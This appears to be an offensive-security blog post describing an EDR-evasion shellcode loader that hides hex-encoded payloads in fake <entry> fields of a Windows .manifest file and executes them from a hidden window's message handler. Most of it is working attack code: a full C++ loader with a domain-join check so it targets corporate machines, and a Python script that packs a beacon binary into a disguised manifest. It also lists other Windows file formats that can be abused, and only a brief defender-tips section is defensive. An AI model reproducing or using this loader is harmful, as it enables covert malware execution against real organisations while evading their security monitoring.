Stealth in the Stacks: Executing Embedded Payloads via Native Extensions and GUI Hooks
A deep dive into hiding shellcode in .manifest
file, triggering it with GUI events, and evading EDRs without touching a single suspicious API.
If you could:
- Embed your payload in a totally legitimate XML file,
- Parse it using native Windows APIs,
- Execute it in-memory without touching
CreateRemoteThread
,VirtualAllocEx
, or evenNt*
syscalls…
…you have a pretty stealthy loader.
This post is all about that.. Abusing .manifest
files (a type of native extension), paired with GUI message handling, to execute shellcode from disk, in-process, without lighting up any of the usual EDR landmines. And yeah, this technique evaded CrowdStrike Falcon during tests. No alerts, no detection.
Let's break down how it works, why it's effective, and why this trick is barely scratching the surface of what's possible with Windows-native file formats.
What Even Is a Native Extension?
"Native extension" here refers to files and formats that Windows recognizes and uses natively, often with tight OS integration. These aren't .exe
files, but things like:
.manifest
.library-ms
.search-ms
.msc
.theme
.url
.scf
.settingcontent-ms
Most of these can embed structured data (XML, INI, plaintext), and many get parsed by trusted Windows components like explorer.exe
, shell32.dll
, or mmc.exe
.
This makes them great containers for:
- Storing payloads,
- Triggering execution via trusted flows (LOLBAS),
- Or in this case: loading and running shellcode entirely in-process, without standing out.
This post focuses on the .manifest
path, but keep the others in your back pocket.
Why .manifest
?
.manifest
files are little XML blobs that sit next to executables or get embedded as a resource. They tell Windows things like:
- What UAC level to request (
asInvoker
,requireAdministrator
). - What DPI mode to use.
- Whether to use side-by-side assemblies.
Here is what a typical manifest looks like:
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
But here is the cool part: manifests are just XML. You can throw in your own fake <config>
section with <entry>
fields and nobody complains. Windows doesn't care and it ignores them. But you can read them at runtime.
So what if… we hex-encode shellcode and stick it in there?
Manifest as Payload Container
We create something like this:
<config>
<entry key="theme_101" value="fc4883e4f0e8c000000041514150525156"/>
<entry key="layout_102" value="4831d265488b5260488b5218488b5220"/>
...
</config>
Each value
holds a chunk of shellcode as hex.
Then in our dropper:
- Use
IXmlReader
(a native COM-based XML parser) to extract all thevalue="..."
fields. - Concatenate them into a single hex string.
- Decode that into a
std::vector<BYTE>
. - Mark the memory as executable (
VirtualProtect
). - Trigger execution with a GUI message (
PostMessage
to a hidden window).
This avoids all disk writes, all traditional shellcode injection, and any obvious EDR triggers.
Let’s Walk the Execution Flow
1. Domain Join Check
This is just a basic OPSEC filter. We call NetGetJoinInformation()
to make sure we’re on a corporate or domain-joined machine before doing anything.
bool isDomainJoined() {
LPWSTR buffer = NULL;
NETSETUP_JOIN_STATUS status;
if (NetGetJoinInformation(NULL, &buffer, &status) == NERR_Success) {
NetApiBufferFree(buffer);
return (status == NetSetupDomainName);
}
return false;
}
2. Parse the Manifest
We use SHCreateStreamOnFile()
to load the .manifest
file, then pass that to IXmlReader
:
IXmlReader* reader = nullptr;
IStream* stream = nullptr;
SHCreateStreamOnFile(path.c_str(), STGM_READ, &stream);
CreateXmlReader(__uuidof(IXmlReader), (void**)&reader, NULL);
reader->SetInput(stream);
Then read <entry>
elements and extract all value
attributes:
while (reader->Read(&nodeType) == S_OK) {
if (nodeType == XmlNodeType_Element) {
const wchar_t* name = nullptr;
if (reader->GetLocalName(&name, NULL) == S_OK && wcscmp(name, L"entry") == 0) {
const wchar_t* val = nullptr;
if (reader->MoveToAttributeByName(L"value", NULL) == S_OK &&
reader->GetValue(&val, NULL) == S_OK) {
collected += std::string(val, val + wcslen(val));
}
}
}
}
That gives us a hex string like fc4883e4f0...
. We decode it and store the shellcode in memory.
3. Hidden Window + Message Trigger
We create a hidden window with a WndProc
:
WNDCLASS wc = { 0 };
wc.lpfnWndProc = WndProc;
wc.hInstance = hInstance;
wc.lpszClassName = L"UpdateFrame";
RegisterClass(&wc);
In WndProc
, we check for a custom message (e.g., WM_USER + 42
), flip memory permissions, and run the shellcode:
if (msg == TARGET_MESSAGE) {
VirtualProtect(codeBuffer.data(), codeBuffer.size(), PAGE_EXECUTE_READWRITE, &oldProtect);
auto entry = (void(*)())codeBuffer.data();
entry();
}
To trigger it, we just do:
PostMessage(hwnd, TARGET_MESSAGE, 0, 0);
Boom - payload executes from inside WndProc
, which looks like a normal GUI event handler. Completely in-process. No threads, no handles, no injection.
Why EDRs Miss This
This technique:
- Doesn't spawn a new thread (
CreateThread
,NtCreateThreadEx
, etc.). - Doesn't open another process (no
OpenProcess
,WriteProcessMemory
). - Doesn't inject anywhere.
- Doesn't trigger any known syscalls associated with shellcode loading.
- Doesn't use
LoadLibrary
,WinExec
,ShellExecute
.
EDR didn't see a thing in our tests. And we know why:
- It relies heavily on ML + behavioral models.
- The behavior of reading a
.manifest
and dispatching a GUI message is 100% normal. - Even RWX memory isn’t flagged if it’s not written via suspicious APIs.
Other Native Extensions You Can Abuse
.manifest
is just the start. There are tons of other formats Windows blindly trusts:
.library-ms
- XML format used to define Libraries in Explorer.
- Parsed by
shell32.dll
. - Can embed arbitrary XML or metadata.
- Can even trigger actions if opened via ShellExecute.
.search-ms
- Saved search format (XML again).
- Launchable.
- Supports URIs and can point to remote shares or shell items.
.theme
- INI-style config.
- Can reference images, icons, and other binaries.
- Parsed by
themeui.dll
.
.msc
- Management console snap-ins.
- Parsed by
mmc.exe
- trusted parent process. - Can chain into COM-based execution.
.url
, .scf
, .settingcontent-ms
- All LOLBAS favorites.
- Great for initial access or trusted LOLBIN launching.
- Not great for in-process payloads, but useful for staging or triggering.
Basically: if Windows reads it by default, it's fair game.
Defender Tips
Want to catch this?
- Audit
.manifest
files with suspicious<entry>
values or large hex strings. - Look for processes using
IXmlReader
on files that aren’t installers or system tools. - Detect RWX memory + GUI message correlation.
- Look for hidden windows in processes that aren't expected to be GUI-based.
Final Thoughts
This trick isn't some exotic ROP chain or ETW patch. It’s just:
- A native XML file,
- Parsed by native Windows APIs,
- Triggered by native GUI events.
That’s why it works. That’s why it’s stealthy.
We’ll be exploring more native extension abuse techniques soon.. maybe using .library-ms
, maybe something more obscure. Windows is a playground if you treat it like one.
Until then: stay weird. Stay native. Stay quiet.
Full Code
c++ Loader
#include <windows.h>
#include <shlwapi.h>
#include <xmllite.h>
#include <string>
#include <vector>
#include <iostream>
#include <lm.h>
#pragma comment(lib, "xmllite.lib")
#pragma comment(lib, "shlwapi.lib")
#pragma comment(lib, "Netapi32.lib")
#define TARGET_MESSAGE (WM_USER + 42)
std::vector<BYTE> codeBuffer;
bool isDomainJoined() {
LPWSTR buffer = NULL;
NETSETUP_JOIN_STATUS status;
if (NetGetJoinInformation(NULL, &buffer, &status) == NERR_Success) {
NetApiBufferFree(buffer);
return (status == NetSetupDomainName);
}
return false;
}
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
if (msg == TARGET_MESSAGE) {
std::cout << "[+] Trigger received. Executing module..." << std::endl;
DWORD oldProtect;
if (VirtualProtect(codeBuffer.data(), codeBuffer.size(), PAGE_EXECUTE_READWRITE, &oldProtect)) {
auto entry = (void(*)())codeBuffer.data();
entry(); // Execution entry point
}
else {
std::cerr << "[-] Memory permission change failed." << std::endl;
}
}
return DefWindowProc(hwnd, msg, wParam, lParam);
}
std::vector<BYTE> decodeHex(const std::string& hex) {
std::vector<BYTE> out;
for (size_t i = 0; i < hex.length(); i += 2) {
std::string byteStr = hex.substr(i, 2);
out.push_back((BYTE)strtol(byteStr.c_str(), nullptr, 16));
}
return out;
}
bool loadEmbeddedData(const std::wstring& path) {
std::wcout << L"[+] Loading configuration: " << path << std::endl;
IXmlReader* reader = nullptr;
IStream* stream = nullptr;
if (FAILED(SHCreateStreamOnFile(path.c_str(), STGM_READ, &stream))) {
std::cerr << "[-] Unable to open configuration file." << std::endl;
return false;
}
if (FAILED(CreateXmlReader(__uuidof(IXmlReader), (void**)&reader, NULL))) {
std::cerr << "[-] Failed to initialize XML parser." << std::endl;
return false;
}
if (FAILED(reader->SetInput(stream))) {
std::cerr << "[-] Failed to attach XML stream." << std::endl;
return false;
}
XmlNodeType nodeType;
std::string collected;
while (reader->Read(&nodeType) == S_OK) {
if (nodeType == XmlNodeType_Element) {
const wchar_t* name = nullptr;
if (reader->GetLocalName(&name, NULL) == S_OK && name && wcscmp(name, L"entry") == 0) {
const wchar_t* val = nullptr;
if (reader->MoveToAttributeByName(L"value", NULL) == S_OK &&
reader->GetValue(&val, NULL) == S_OK && val) {
std::wstring wval(val);
std::string sval(wval.begin(), wval.end());
collected += sval;
}
}
}
}
reader->Release();
stream->Release();
if (collected.empty()) {
std::cerr << "[-] No valid data entries found." << std::endl;
return false;
}
codeBuffer = decodeHex(collected);
std::cout << "[+] Retrieved component size: " << codeBuffer.size() << " bytes" << std::endl;
return true;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE, LPSTR, int) {
std::cout << "[+] Starting service component..." << std::endl;
if (!loadEmbeddedData(L"config.manifest")) {
std::cerr << "[-] Configuration loading failed." << std::endl;
return -1;
}
WNDCLASS wc = { 0 };
wc.lpfnWndProc = WndProc;
wc.hInstance = hInstance;
wc.lpszClassName = L"UpdateFrame";
if (!RegisterClass(&wc)) {
std::cerr << "[-] Window class registration failed." << std::endl;
return -1;
}
HWND hwnd = CreateWindowEx(0, L"UpdateFrame", L"Worker", WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, CW_USEDEFAULT, 300, 300, NULL, NULL, hInstance, NULL);
if (!hwnd) {
std::cerr << "[-] Window creation failed." << std::endl;
return -1;
}
std::cout << "[+] Control window created. Dispatching..." << std::endl;
ShowWindow(hwnd, SW_HIDE);
PostMessage(hwnd, TARGET_MESSAGE, 0, 0);
std::cout << "[+] Entering message dispatch loop..." << std::endl;
MSG msg = {};
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 0;
}
int main() {
if (!isDomainJoined()) {
std::cerr << "[-] Host not domain-joined. Aborting." << std::endl;
return 0; // Silent exit for non-corporate systems
}
return WinMain(GetModuleHandle(NULL), NULL, GetCommandLineA(), SW_SHOWDEFAULT);
}
Python code to generate .manifest
import os
input_file = "cs_beacon.bin"
output_file = "config.manifest"
# Load the binary data
with open(input_file, "rb") as f:
raw = f.read()
# Hex encode (lowercase, 2-digit)
hexdata = ''.join(format(b, '02x') for b in raw)
# Split into multiple <entry> values
chunks = [hexdata[i:i+64] for i in range(0, len(hexdata), 64)]
key_prefixes = ["theme", "layout", "hint", "render", "guid", "font"]
entries = ""
for idx, chunk in enumerate(chunks):
key = f"{key_prefixes[idx % len(key_prefixes)]}_{100+idx}"
entries += f' <entry key="{key}" value="{chunk}"/>\n'
# Template with harmless XML structure
manifest = f'''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
<config>
{entries} </config>
</security>
</trustInfo>
</assembly>
'''
# Write to output
with open(output_file, "w", encoding="utf-8") as f:
f.write(manifest)
print(f"[+] Stealth manifest written to: {output_file}")